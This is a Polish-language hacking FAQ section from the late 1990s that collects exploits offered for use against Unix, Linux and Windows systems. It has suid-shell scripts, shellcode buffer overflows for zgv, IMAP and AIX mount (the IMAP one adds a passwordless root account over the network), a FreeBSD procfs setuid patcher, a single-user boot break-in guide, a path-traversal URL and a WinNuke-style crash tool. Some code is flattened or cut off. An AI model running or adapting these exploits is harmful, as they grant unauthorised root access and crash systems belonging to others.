Hellfire FAQ - exploity
### ### ######### ### ### ######### ### ###### #########
### ### ######### ### ### ######### ### ######### #########
### ### ### ### ### ### ### ### ### ###
######### ###### ### ### ###### ### ######### ######
######### ###### ### ### ###### ### ###### ######
### ### ######### ######### ######### ### ### ### ### #########
######### ##### #####
######### ### ### ### ###
### ### ### ### ###
###### ######### ### ###
###### ######### ### ####
### ### ### ### #####
### ### ### ##### ###
wersja 3.07exp
conntact:
E-MAIL - hellfire@poczta.mega.com.pl
TEL - Gdynia - (058)291673 - prosic Tomka
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!Od autora: Nie ponosze odpowiedzialnosci za zadne skutki!
! uzywania podanych tu inforamcji. Wszystko co!
! robisz robisz tylko i wylacznie na wlasna!
! odpowiedzialnosc !
Kazda czesc tego faq moze byc kopiowana, powielana
rozprowadzana bez zgody i wiedzy autora :)) ale
warunkiem jest umieszczenie ze informacja
pochdzi z mojego faq
!Tylko plz nie zmieniajcie nic :-|!
* -nowe+ -uaktualnienie- -poprawione
2.8. Exploity (przeniesione do pliku exploity)2.8.1. Debian 1.12.8.2. RedHat2.8.2.1. dump bug2.8.2.2. abuse* 2.8.2.3. rootshell2.8.3. Single2.8.4. FreeBSD 2.2.12.8.5. Linux-y2.8.6. HTTP/1.0 Server2.8.7. AIX 4.1/4.2* 2.8.8. Windows 95/NT* 2.8.9. SunOs 4.1.1 Sparc 20
2.8. Exploity
Exploit jest to program wykorzystujacy dziury w systemie operacyjnym, ktory moze dac nam konto root-a, pokazac jakis plik i zrobic wiele innych pomocnych rzeczy. W 80% przypadkow uruchamia sie go komenda dcc plik.c, a potem uruchamia sie ./plik Przyznaje sie bez bicia ze wiekszosc exploitow pochodzi z innych faq.
2.8.1. Debian 1.1
Zostala duza dziora w emulatorze dosa, zeby obejrzec kazdy plik napisz "dos -F /plik/do.obejrzenia", ale niestety wiekszosc adminow skasowala juz emulator dosa. Na czesci systemow zamiast "dos" trzeba wpisac "dosemu"
2.8.2. Red Hat 2.1
2.8.2.1. dum bug
"/sbin/dump 0uf woot.dump /etc/shadow" zasada dzialania jak w 2.8.1.
2.8.2.2. abuse
Ten exploit wykozystuje atrybut s+ pliku abuse.console, czasami gra jest w innym katalogu wtedy trzeba zmienic go w programie
-- CUT HERE --#!/bin/shif test -u /usr/lib/games/abuse/abuse.consolethenecho System seems to be vunerable...cd /tmpcat << _EOF_ > /tmp/undrv#!/bin/sh/bin/cp /bin/sh /tmp/abuser/bin/chmod 4777 /tmp/abuser_EOF_chmod +x /tmp/undrvPATH=/tmpecho Executing Abuse.../usr/lib/games/abuse/abuse.console/bin/rm /tmp/undrvif test -u /tmp/abuserthenecho Exploit successful, suid shell located in /tmp/abuserelseecho Exploit failed.fielseecho Machine isn't vunerable.fi-- CUT HERE --
2.8.2.3. rootshell
Nie mam inforamcji o narazonych systemach, ale moze dzialac na dosyc nowych redhat (powstal 5.1997). Zaklada na shella z uprawnieniami root-a :)Uzycie:$ cp zgv_exploit.c n.c$ cc -o n n.c$ ./nOak driver: Unknown chipset (id = 0)bash#
-- CUT HERE --
#include#include#include
char *shellcode ="\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1""\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04""\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb""\xcd\x80/""/bin/sh""0";
char *get_sp() {asm("movl %esp,%eax");}
#define bufsize 4096char buffer[bufsize];
main() {int i;
for (i = 0; i < bufsize - 4; i += 4)*(char **)&buffer[i] = get_sp() -4675;
memset(buffer, 0x90, 512);memcpy(&buffer[512], shellcode, strlen(shellcode));
buffer[bufsize - 1] = 0;
setenv("HOME", buffer, 1);
execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);}
2.8.3. Single
Dziala na 100% linuxow i mysle ze tez na duzo unix-ow. Ta metoda na wlamanie jest nieco inna od reszty. Nie pozwala bowiem na wlamanie z sieci ( w kazdym razie mi sie to jeszcze nie udalo ), tylko trzeba siedziec przy klawiaturze komputera do ktorego sie wlamujemy. Polega ona na uruchomienie komputera w trybie jednego uzytkownika ( root-a ).1) ogladamy plik /etc/lilo.conf. Przed pierwszym image moze byc linjka "password='haslo'" Trzeba to haslo zapamietac przyda sie potem.2) sprawdzamy zdobyte haslo logujac sie jako root ( jest szansa ze jest takie samo! )3) resetujemy komputer ( dobrze jest starac sie nie dopuscic do uruchomienia BIOS-owej procedury sprawdzania hasla!!! )4a) w LiLo Boot podajemy: LILO bot: linux single4b) w loadlin piszemy: loadlin init single5) jestesmy root-em!6) tu robimy co kto uwaza ( atrybut s+ dla chmod, dodajemy swojego uzytkownika itp... )7) znowu resetujemy
Metoda ta ma tylko jedna wade - trzeba siedziec przy klawiaturze komputera ofiary - chociaz moze ktos wymysli metode zrobienia tego zdalnie?
2.8.4. FreeBSD 2.2.1Jest duzy blad w FreeBSD 2.2.1 ( prawdopodobnie bedzie tez dzial pod 3.x)
--CUT HERE--
#include#include#include#include#include
u_char search_code[13] = {0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */
/* just do a xor %eax, %eax and then a ret */u_char new_code[] = {0x31, 0xc0, 0xc3};
main(int argc, char **argv){int pid;int fd;char buff[40];char *user;
/* might need to tweak these */u_int offset=0x8003000;u_int offset_end = 0x8099000;
if(argc < 2){fprintf(stderr, "%s user\n", argv[0]);exit(1);}printf("Demonstration of 4.4BSD procfs hole\n");printf("Brian Mitchell \n\n");printf("after you see \"setuid changed\", enter the pw for the user\n");printf("\aBe warned, searching for the setuid() function takes a long time!\n");user=argv[1];pid = fork();switch(pid){case -1:perror("fork");exit(1);case 0:/* give parent time to open /proc/pid/mem */sleep(3);execl("/usr/bin/su", "su", user, NULL);exit(0);default:sprintf(buff, "/proc/%d/mem", pid);fd = open(buff, O_RDWR);if(fd < 0){perror("open procmem");wait(NULL);exit(1);}/* wait for child to execute suid program */sleep(6);/* stop the child */kill(pid, 17);printf("searching - please be patient...\n");/* search for the setuid code */while(offset != offset_end){lseek(fd, offset, SEEK_SET);read(fd, buff, 13);if(!bcmp(buff, search_code, 13)){lseek(fd, offset, SEEK_SET);write(fd, new_code, 3);printf("setuid changed (0x%x)\n", offset);/* sigcont child */kill(pid, 19);wait(NULL);exit(0);}offset++;}printf("setuid not found!!\n");kill(pid, 9);wait(NULL);exit(1);}}
2.8.5. Linux-y
Ten exploit dodaje linijke root::0:0:r00t:/:/bin/bashx na pocztek pliku passwd. (shella mozna sobie zmienic na dowolnie innego). Wedlug autora pracuje na wszystkich LINUX-ah ale ja w to nie wierze.
--CUT HERE--#include#include#include#include#include#include#include
char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname) {
struct hostent *h;struct sockaddr_in tmp;struct in_addr in;
h = gethostbyname(hostname);
if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);memcpy(&in,&tmp.sin_addr.s_addr,4);
return(inet_ntoa(in));}
void banner(void) {system("clear");printf("\nIMAP Exploit for Linux.\n");printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");printf(" Modifications: p1 (p1@el8.org)\n");}
main(int argc, char **argv) {
int fd;struct sockaddr_in sckdaddr;char *hostname;char buf[4092];int i=8;char realegg[] ="\xeb\x58\x5e""\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26""\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8""\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2""\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31""\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31""\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1""\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83""\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80""iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff""/etc/passwdxroot::0:0:r00t:/:/bin/bashx";char *point = realegg;buf[0]='*';buf[1]=' ';buf[2]='l';buf[3]='o';buf[4]='g';buf[5]='i';buf[6]='n';buf[7]=' ';
banner();
if (argc<2) {printf("\nUsage: %s \n\n", argv[0]);exit(-1);}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */buf[i++]=0x90;
while(*point)buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */buf[i++]=0xf3;buf[i++]=0xff;buf[i++]=0xbf;buf[i++]=0x88; /* ret adr */buf[i++]=0xf8;buf[i++]=0xff;buf[i++]=0xbf;
buf[i++]=' ';buf[i++]='b';buf[i++]='a';buf[i++]='h';buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening thesocket. \n");
sckdaddr.sin_port=htons(143);sckdaddr.sin_family=AF_INET;sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)perror("Error with connecting. \n");
printf("hmm: \n");getchar();write(fd,buf,strlen(buf)+1);printf("hmm: \n");close(fd);}
2.8.6. HTTP/1.0 Server
Wykozystuje dziure w skrypcie WRAP dostarczanym razem z systemem IRIX 6.2. Zastosowanie jest proste:
http://sgi.victim/cgi-bin/wrap?/../../../../../etc
2.8.7. AIX 4.1/4.2
Wykozystuje bug-a w programie mount. Kompilacja cc -g test2.c Jezeli podczas uruchamiania dostaniesz komunikat:Memory Fault albo Illegal Instruction uzyj tego shella:
--CUT HERE--#!/bin/kshL=3000STEP=34MAX=16000while [ $L -lt $MAX ]do./a.out $LL=`expr $L + $STEP`done*/--CUT HERE--
--CUT HERE--test2.c22-Mar-97*/#include#include#include
char prog[100]="/usr/sbin/mount";char prog2[30]="mount";extern int execv();
char *createvar(char *name,char *value){char *c;int l;l=strlen(name)+strlen(value)+4;if (! (c=malloc(l))) {perror("error allocating");exit(2);};strcpy(c,name);strcat(c,"=");strcat(c,value);putenv(c);return c;}
/*The program*/main(int argc,char **argv,char **env){/*The code*/unsigned int code[]={0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,0x7c0903a6 , 0x4e800420, 0x0};/* disassembly7c0802a6 mfspr r0,LR9421fbb0 stu SP,-1104(SP) --get stack90010458 st r0,1112(SP)3c60f019 cau r3,r0,0xf019 --CTR60632c48 lis r3,r3,11336 --CTR90610440 st r3,1088(SP)3c60d002 cau r3,r0,0xd002 --TOC60634c0c lis r3,r3,19468 --TOC90610444 st r3,1092(SP)3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01'6063696e lis r3,r3,2699090610438 st r3,1080(SP)3c602f73 cau r3,r0,0x2f7360636801 lis r3,r3,266253863ffff addi r3,r3,-19061043c st r3,1084(SP) --terminate with 030610438 lis r3,SP,10807c842278 xor r4,r4,r4 --argv=NULL80410440 lwz RTOC,1088(SP)80010444 lwz r0,1092(SP) --jump7c0903a6 mtspr CTR,r04e800420 bctr --jump*/
#define MAXBUF 600unsigned int buf[MAXBUF];unsigned int frame[MAXBUF];unsigned int i,nop,mn;int max;int QUIET=0;int dobuf=0;char VAR[30]="LC_MESSAGES";unsigned int toc;unsigned int eco;unsigned int *pt;char *t;int egg=1;int ch;unsigned int reta; /* return address */int corr=4604;char *args[4];char *newenv[8];int justframes=1;int startwith=0;
mn=78;max=100;
if (argc>1)corr = atoi(argv[1]);
pt=(unsigned *) &execv;toc=*(pt+1);eco=*pt;
if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ){perror("Bad parameters");exit(1);}
#define OO 7*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &0x0000ffff);*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &0x0000ffff);
reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
for(nop=0;nop#include#include#include#include#include#include
#define dport 139 /* Attack port: 139 is what we want */
int x, s;char *str = "Bye"; /* Makes no diff */struct sockaddr_in addr, spoofedaddr;struct hostent *host;
int open_sock(int sock, char *server, int port) {struct sockaddr_in blah;struct hostent *he;bzero((char *)&blah,sizeof(blah));blah.sin_family=AF_INET;blah.sin_addr.s_addr=inet_addr(server);blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);}else {if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {perror("gethostbyname()");return(-3);}}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {perror("connect()");close(sock);return(-4);}printf("Connected to [%s:%d].\n",server,port);return;}
void main(int argc, char *argv[]) {
if (argc != 2) {printf("Usage: %s \n",argv[0]);exit(0);}
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {perror("socket()");exit(-1);}
open_sock(s,argv[1],dport);
printf("Sending crash... ");send(s,str,strlen(str),MSG_OOB);usleep(100000);printf("Done!\n");close(s);}
2.8.9. SunOs 4.1.1 Sparc 20
Zeby spowodowac 'system panic' wystarczy przeczytac /dev/tcx0, czyli po prostu: cat /dev/tcx0
Początek formularza
Dół formularza
piotrziko